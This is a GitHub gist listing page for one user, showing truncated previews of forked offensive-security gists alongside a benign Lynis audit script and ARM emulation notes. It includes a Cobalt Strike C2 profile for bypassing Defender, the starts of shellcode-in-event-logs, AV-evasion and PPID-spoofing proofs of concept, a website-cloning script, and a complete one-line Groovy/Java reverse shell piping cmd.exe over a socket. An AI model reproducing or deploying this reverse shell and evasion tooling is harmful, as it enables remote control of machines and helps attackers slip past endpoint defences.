filipposmastro’s gists

filipposmastro / minimal-defender-bypass.profile

Created June 19, 2022 19:03 — forked from tothi/minimal-defender-bypass.profile

Minimal Cobalt Strike C2 Profile for Bypassing Defender

	# in addition to the profile, a stage0 loader is also required (default generated payloads are caught by signatures)
	# as stage0, remote injecting a thread into a suspended process works

	set host_stage "false";
	set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62";
	set sleeptime "10000";

	stage {
	set allocator "MapViewOfFile";
	set name "notevil.dll";

filipposmastro / EventLogInject.cs

Created May 12, 2022 09:03 — forked from MsF-NTDLL/EventLogInject.cs

POC to inject and extract shellcode from Windows Event Logs

	using System;
	using System.Collections.Generic;
	using System.Diagnostics;
	using System.Linq;
	using System.Runtime.InteropServices;
	using System.Text;
	using System.Threading.Tasks;

	namespace HiddenEventLogs
	{

filipposmastro / divide_and_conquer.c

Created January 19, 2021 19:21 — forked from theevilbit/divide_and_conquer.c

Divide and Conquer NextGen AV bypass

	/*
	This is a POC for a generic technique I called internally on our red team assessment "Divide and Conquer", which can be used to bypass behavioral based NextGen AV detection. It works by splitting malicious actions and API calls into distinct processes.
	*/

	#include <stdio.h>
	#include <tchar.h>

	#include <windows.h>
	#include "Commctrl.h"
	#include <string>

filipposmastro / PPID Spoof & BlockDLLs

Created May 4, 2020 05:44 — forked from rasta-mouse/PPID Spoof & BlockDLLs

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;

	namespace BlockDllTest
	{
	class Program
	{
	static void Main(string[] args)
	{

filipposmastro / lynis_autorunner.sh

Created November 18, 2017 11:25 — forked from philcryer/lynis_autorunner.sh

Download and run a Lynis audit scan on your system with this shell script.

	#!/bin/sh

	# This script will automatically:
	# * download [Lynis](https://cisofy.com/lynis/), an open source security auditing tool
	# * run a full audit check, either privileged, or non-privileged if not logged in as root
	# * cleanup by removing the downloaded archive, and the extracted directory it ran out of
	# * save the audit report to your local directory (YYYYMMDD-lynis-report)
	#
	# This script requires:
	# * awk

filipposmastro / revsh.groovy

Created November 11, 2017 20:03 — forked from frohoff/revsh.groovy

Pure Groovy/Java Reverse Shell

	String host="localhost";
	int port=8044;
	String cmd="cmd.exe";
	Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

filipposmastro / cloning.sh

Created November 7, 2017 16:29 — forked from Mr-Un1k0d3r/cloning.sh

Lazy website cloning

	#!/bin/bash
	echo "Cloning $1"
	wget $1 -O index.html &> /dev/null
	TAG="<base href=\"$1\"/></head>"
	sed '/<\/head>/i\'"$TAG" index.html \| tee index.html &> /dev/null
	echo "index.html was saved and modified"

filipposmastro / ARMDebianUbuntu.md

Created October 31, 2017 08:25 — forked from bruce30262/ARMDebianUbuntu.md

Emulating ARM on Debian/Ubuntu

You might want to read this to get an introduction to armel vs armhf.

If the below is too much, you can try Ubuntu-ARMv7-Qemu but note it contains non-free blobs.

First, cross-compile user programs with GCC-ARM toolchain. Then install qemu-arm-static so that you can run ARM executables directly on linux

If there's no qemu-arm-static in the package list, install qemu-user-static instead

Filippos Mastrogiannis filipposmastro